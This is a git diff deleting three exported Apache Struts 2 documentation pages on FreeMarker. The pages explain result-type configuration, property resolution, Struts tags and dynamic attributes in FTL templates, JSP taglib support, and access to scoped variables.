-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="freemarker-result.html">FreeMarker Result</a>&nbsp;&gt;&nbsp;<a href="freemarker-support.html">Freemarker Support</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Freemarker Support</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14206">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14206">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14206">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14206">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14206">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14206">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="FreemarkerSupport-FreemarkerSupport">Freemarker Support</h1><p>Freemarker views can be rendered using the webwork result type <code>freemarker</code>.</p><h3 id="FreemarkerSupport-Configureyouractiontousethefreemarkerresulttype">Configure your action to use the <code>freemarker</code> result type</h3><p>The <code>freemarker</code> result type is defined in <code>struts-default.xml</code>, so normally you just include it, and define your res [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;include file="struts-default.xml"/&gt;
-...
-&lt;action name="test" class="package.Test"&gt;
-  &lt;result name="success" type="freemarker"&gt;/WEB-INF/views/testView.ftl&lt;/result&gt;
-&lt;/action&gt;
-...
-</pre>
-</div></div><h3 id="FreemarkerSupport-PropertyResoloution">Property Resoloution</h3><p>Your action properties are automatically resolved - just like in a velocity view.</p><p><strong>for example</strong> <code>${name</code>} will result in <code>stack.findValue("name")</code>, which <em>generaly</em> results in <code>action.getName()</code> being executed.</p><p>A search process is used to resolve the variable, searching the following scopes in order, until a value is found :</p><ul><li> [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">default_encoding=ISO-8859-1
-template_update_delay=5
-locale=no_NO
-</pre>
-</div></div><h3 id="FreemarkerSupport-UsingstrutsUItags-oranyJSPTagLibrary">Using struts UI tags - or any JSP Tag Library</h3><p>Freemarker has builtin support for using any JSP taglib. You can use JSP taglibs in FreeMarker even if<br clear="none"> a) your servlet container has no support for JSP, or <br clear="none"> b) you didn't specify the taglib in your web.xml - note how in the example below we refer to the taglib by its webapp-absolute URL, so no configuration in web.xml is needed [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;#assign s=JspTaglibs["/WEB-INF/struts.tld"] /&gt;
-
-&lt;@s.form method="'post'" name="'inputform'" action="'save.action'" &gt;
-    &lt;@s.hidden name="'id'" /&gt;
-    &lt;@s.textarea label="'Details'" name="'details'" rows=5 cols=40 /&gt;
-    &lt;@s.submit value="'Save'" align="center" /&gt;
-&lt;/@s.form&gt;
-</pre>
-</div></div><p>NOTE : numeric properties for tags MUST be numbers, not strings. as in the rows and cols properties above. if you use cols="40" you will receive an exception. Other than that, the freemarker tag container behaves as you would expect.</p><h3 id="FreemarkerSupport-Dynamicattributessupport">Dynamic attributes support</h3><p>You can specify dynamic attributes with Struts 2 tags like this:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelCo [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;@s.textfield name="test" dynamicAttributes={"placeholder":"input","foo":"bar"}/&gt;
-</pre>
-</div></div><p>or like this:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;@s.textfield name="test" placeholder="input" foo="bar"/&gt;
-</pre>
-</div></div><p>and for both case, it will be parsed into:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;input type="text" name="test" value="" id="test" placeholder="input" foo="bar"/&gt;
-</pre>
-</div></div><p>You can also use OGNL expressions with dynamic tags like below:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;@s.textfield name="test" placeholder="input" foo="checked: %{bar}"/&gt;
-</pre>
-</div></div><p>When using attributes with hyphens, use the below syntax (you can also leave the single quotes from false if you want)</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;@s.form dynamicAttributes={'data-ajax':'false'}&gt;
-  ...
-&lt;/@s.form&gt;</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/freemarker-tags.html b/content/docs/freemarker-tags.html
deleted file mode 100644
index 86fa41c..0000000
--- a/content/docs/freemarker-tags.html
+++ /dev/null
@@ -1,265 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>FreeMarker Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="freemarker-tags.html">FreeMarker Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">FreeMarker Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14294">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14294">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14294">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14294">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14294">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14294">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>FreeMarker tags are extensions of the generic <a shape="rect" href="struts-tags.html">Struts Tags</a> provided by the framework. You can jump right in just by knowing the generic structure in which the tags can be accessed: <code>&lt;@s.tag&gt; ...&lt;/@s.tag&gt;</code>, where <em>tag</em> is any of the <a shape="rect" href="struts-tags.html">tags</a> supported by the framework.</p>
-
-<p>For example, in JSP you might create a form using Struts tags.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>JSP Form</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:form action="updatePerson"&gt;
-    &lt;s:textfield label="First name" name="firstName"/&gt;
-    &lt;s:submit value="Update"/&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div>
-
-<p>In FreeMarker the same form can also be built using Struts tags.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>FTL Form</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.form action="updatePerson"&gt;
-    &lt;@s.textfield label="First name" name="firstName"/&gt;
-    &lt;@s.submit value="Update"/&gt;
-&lt;/@s.form&gt;
-</pre>
-</div></div>
-<p><em>But, wait there's more!</em></p>
-
-<p>Aside from doing everything that the JSP tags do, the FTL tags boast additional features that you can use to make your pages even easier to code. You can even invoke third-party JSP taglibs as if there were native FTL tags.</p>
-
-<h2 id="FreeMarkerTags-AttributesandParameters">Attributes and Parameters</h2>
-
-<p>Unlike older versions of JSP (in which the <a shape="rect" href="jsp-tags.html">JSP Tags</a> are based), FreeMarker allows for <em>dynamic attributes</em>, much like JSP 2.0. You can supply attributes to the tags that the tag doesn't explicitedly support. Those attributes that cannot be applied directly to the tag object will be set to the tag's general-purpose <code>parameters</code> Map.</p>
-
-<p>Suppose we wanted to build an URL in a JSP. The URL needs to take an arbitary parameter to the query string, that (being arbitary) isn't specified on the URL tag. In a JSP, we'd have to use the <code>url</code> and <code>param</code> tags together.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Creating a URL with a query string (JSP)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:url value="somePage"&gt;
-    &lt;s:param name="personId" value="%{personId}"/&gt;
-&lt;/s:url&gt;
-</pre>
-</div></div>
-
-<p>In FreeMarker, we can pass the arbitrary parameter directly and create the URL in one simple statement.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Creating a URL with a query string (FTL)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.url value="somePage" personId="${personId}"/&gt;
-</pre>
-</div></div>
-
-<h3 id="FreeMarkerTags-Usinginlineattributeswithtemplates">Using inline attributes with templates</h3>
-
-<p>Suppose you created a "three column" theme to replace the typical two column theme (xhtml). You might want an additional parameter to display in the third column called "description". Using FreeMarker, you can just pop the description attribute into the textfield tag, no fuss, no muss.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Passing an attribute to the template</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.form action="updatePerson"&gt;
-    &lt;@s.textfield label="First name" name="firstName" description="..."/&gt;
-    &lt;@s.submit value="Update"/&gt;
-&lt;/@s.form&gt;
-</pre>
-</div></div>
-
-<p>In the new template, the description is referenced via the parameters Map: "${parameters.description}".</p>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Advanced uses of the param tag</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For simple cases, inline attributes are much easier to use than the <code>param} tag. But, the {{param} tag is more flexible than inline attributes for advanced use cases. For example, {{param</code> can take the entire body of the tag and apply that as the <em>value</em> attribute.</p></div></div>
-
-<h2 id="FreeMarkerTags-AttributeTypes">Attribute Types</h2>
-
-<p>Remember that all tag attributes must first be set as Strings - they are then later evaluated (using <a shape="rect" href="ognl.html">OGNL</a>) to a different type, such as List, int, or boolean. This generally works just fine, but it can be limiting when using FreeMarker which provides more advanced ways to apply attributes. Suppose the following example:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.select label="Foo label - ${foo}" name="${name}" list="%{{1, 2, 3}}"/&gt;
-</pre>
-</div></div>
-<p>What will happen here is that each attribute will be evaluated to a String as best it can. This may involve calling the <code>toString</code> method on the internal FreeMarker objects. In this case, all objects will end up being exactly what you would expect. Then, when the tag runs, the <code>list</code> attribute will be converted from a String to a List using <a shape="rect" href="ognl.html">OGNL</a>'s advanced collection support.</p>
-
-<p>But suppose you wish to use FreeMarker's list or hash support instead? You can do this:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.select label="Foo label - ${foo}" name="${name}" list=[1, 2, 3]/&gt;
-</pre>
-</div></div>
-
-<p>Notice that the list attribute no longer has quotes around it. Now it will come in to the tag as an object that can't easily be converted to a String. Normally, the tag would just call <code>toString</code>, which would return "[1, 2, 3]" and be unable to be converted back to a List by OGNL. Rather than go through all this back and forth, the frameworks's FreeMarker tag support will recognize collections and not pass them through the normal tag attribute. Instead, the framework will s [...]
-
-<p>In the end, everything tends to do what you would expect, but it can help to understand the difference of when OGNL is being used and when it isn't, and how attribute types get converted.</p>
-
-<h2 id="FreeMarkerTags-JSPTagSupport">JSP Tag Support</h2>
-
-<p>While the framework provides native FreeMarker Tags, you might wish to use other third-party tags that are only available for JSP. Fortunately, FreeMarker has the ability to run JSP tags. To do so, you must include the JspSupportServlet in the application's <code>web.xml</code>, as this allows the FreeMarker integration to get access to the required objects needed to emulate a JSP taglib container.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Adding JspSupportSerlvet to web.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;servlet&gt;
-    &lt;servlet-name&gt;JspSupportServlet&lt;/servlet-name&gt;
-    &lt;servlet-class&gt;org.apache.struts2.views.JspSupportServlet&lt;/servlet-class&gt;
-    &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;
-&lt;/servlet&gt;
-</pre>
-</div></div>
-
-<p>Once you've done that, you can simply add something like this in your templates:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;#assign cewolf=JspTaglibs["/WEB-INF/cewolf.tld"] /&gt;
-...
-&lt;@cewold.xxx ... /&gt;
-</pre>
-</div></div>
-
-<h2 id="FreeMarkerTags-Next:">Next: <a shape="rect" href="velocity.html">Velocity</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/freemarker.html b/content/docs/freemarker.html
deleted file mode 100644
index d509088..0000000
--- a/content/docs/freemarker.html
+++ /dev/null
@@ -1,182 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>FreeMarker</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="freemarker.html">FreeMarker</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">FreeMarker</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14078">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14078">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14078">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14078">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14078">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14078">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>FreeMarker is a Java-based template engine that is a great alternative to <a shape="rect" href="jsp.html">JSP</a>. FreeMarker is ideal for situations where your action results can possibly be loaded from outside a Servlet container. For example, if you wished to support plugins in your application, you might wish to use FreeMarker so that the plugins could provide the entire action class and view in a single jar that is loaded from the classload [...]
-    &lt;result name="success" type="freemarker"&gt;test-success.ftl&lt;/result&gt;
-&lt;/action&gt;
-</plain-text-body><p>Then in <code>test-success.ftl</code>:</p><parameter ac:name="title">test-success.ftl</parameter><parameter ac:name="">xml</parameter><plain-text-body>&lt;html&gt;
-&lt;head&gt;
-    &lt;title&gt;Hello&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-
-Hello, ${name}
-
-&lt;/body&gt;
-&lt;/html&gt;
-</plain-text-body><p>Where <code>name</code> is a property on your action. That's it! Read the rest of this document for details on how templates are loaded, variables are resolved, and tags can be used.</p><h2 id="FreeMarker-Servlet/JSPScopedObjects">Servlet / JSP Scoped Objects</h2><p>The following are ways to obtained Application scope attributes, Session scope attributes, Request scope attributes, Request parameters, and framework Context scope parameters:-</p><h3 id="FreeMarker-Appl [...]
-     ${Application.myApplicationAttribute}
-&lt;/#if&gt;
-</plain-text-body><p>or</p><plain-text-body>&lt;@s.property value="%{#application.myApplicationAttribute}" /&gt;
-</plain-text-body><h3 id="FreeMarker-SessionScopeAttribute">Session Scope Attribute</h3><p>Assuming there's an attribute with name <code>mySessionAttribute</code> in the Session scope.</p><plain-text-body>&lt;#if Session.mySessionAttribute?exists&gt;
-     ${Session.mySessionAttribute}
-&lt;/#if&gt;
-</plain-text-body><p>or</p><plain-text-body>&lt;@s.property value="%{#session.mySessionAttribute}" /&gt;
-</plain-text-body><h3 id="FreeMarker-RequestScopeAttribute">Request Scope Attribute</h3><p>Assuming there's an attribute with name 'myRequestAttribute' in the Request scope.</p><plain-text-body>&lt;#if Request.myRequestAttribute?exists&gt;
-      ${Request.myRequestAttribute}
-&lt;/#if&gt;
-</plain-text-body><p>or</p><plain-text-body>&lt;@s.property value="%{#request.myRequestAttribute}" /&gt;
-</plain-text-body><h3 id="FreeMarker-RequestParameter">Request Parameter</h3><p>Assuming there's a request parameter myParameter (eg. <a shape="rect" class="external-link" href="http://host/myApp/myAction.action?myParameter=one" rel="nofollow">http://host/myApp/myAction.action?myParameter=one</a>).</p><plain-text-body>&lt;#if Parameters.myParameter?exists&gt;
-     ${Parameters.myParameter}
-&lt;/#if&gt;
-</plain-text-body><p>or</p><plain-text-body>&lt;@s.property value="%{#parameters.myParameter}" /&gt;
-</plain-text-body><h3 id="FreeMarker-Contextparameter">Context parameter</h3><p>Assuming there's a parameter with the name myContextParam in framework context.</p><plain-text-body>${stack.findValue('#myContextParam')}
-</plain-text-body><p>or</p><plain-text-body>&lt;@s.property value="%{#myContextParam}" /&gt;
-</plain-text-body><h2 id="FreeMarker-TemplateLoading">Template Loading</h2><p>The framework looks for FreeMarker templates in two locations (in this order):</p><ol><li>Web application</li><li>Class path</li></ol><p>This ordering makes it ideal for providing templates inside a fully-built jar, but allowing for overrides of those templates to be defined in your web application. In fact, this is how you can override the default UI tags and <a shape="rect" href="form-tags.html">Form Tags</a> [...]
-Click &lt;a xhref="${url}"&gt;here&lt;/a&gt;!
-</plain-text-body><p>The built-in variables that Struts-FreeMarker integration provides are:</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Name</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Description</p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>stack</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>The value stack itself, useful for calls like ${stack.findString(' [...]
-&lt;@mytag.tagx attribute1="some ${value}"/&gt;
-</plain-text-body><p>Where <strong>mytag.tld</strong> is the JSP Tag Library Definition file for your tag library. Note: in order to use this support in FreeMarker, you must enable the <code>JSPSupportServlet</code> in <code>web.xml</code>:</p><parameter ac:name="title">Adding JspSupportSerlvet to web.xml</parameter><parameter ac:name="">xml</parameter><plain-text-body>&lt;servlet&gt;
-    &lt;servlet-name&gt;JspSupportServlet&lt;/servlet-name&gt;
-    &lt;servlet-class&gt;org.apache.struts2.views.JspSupportServlet&lt;/servlet-class&gt;
-    &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;
-&lt;/servlet&gt;
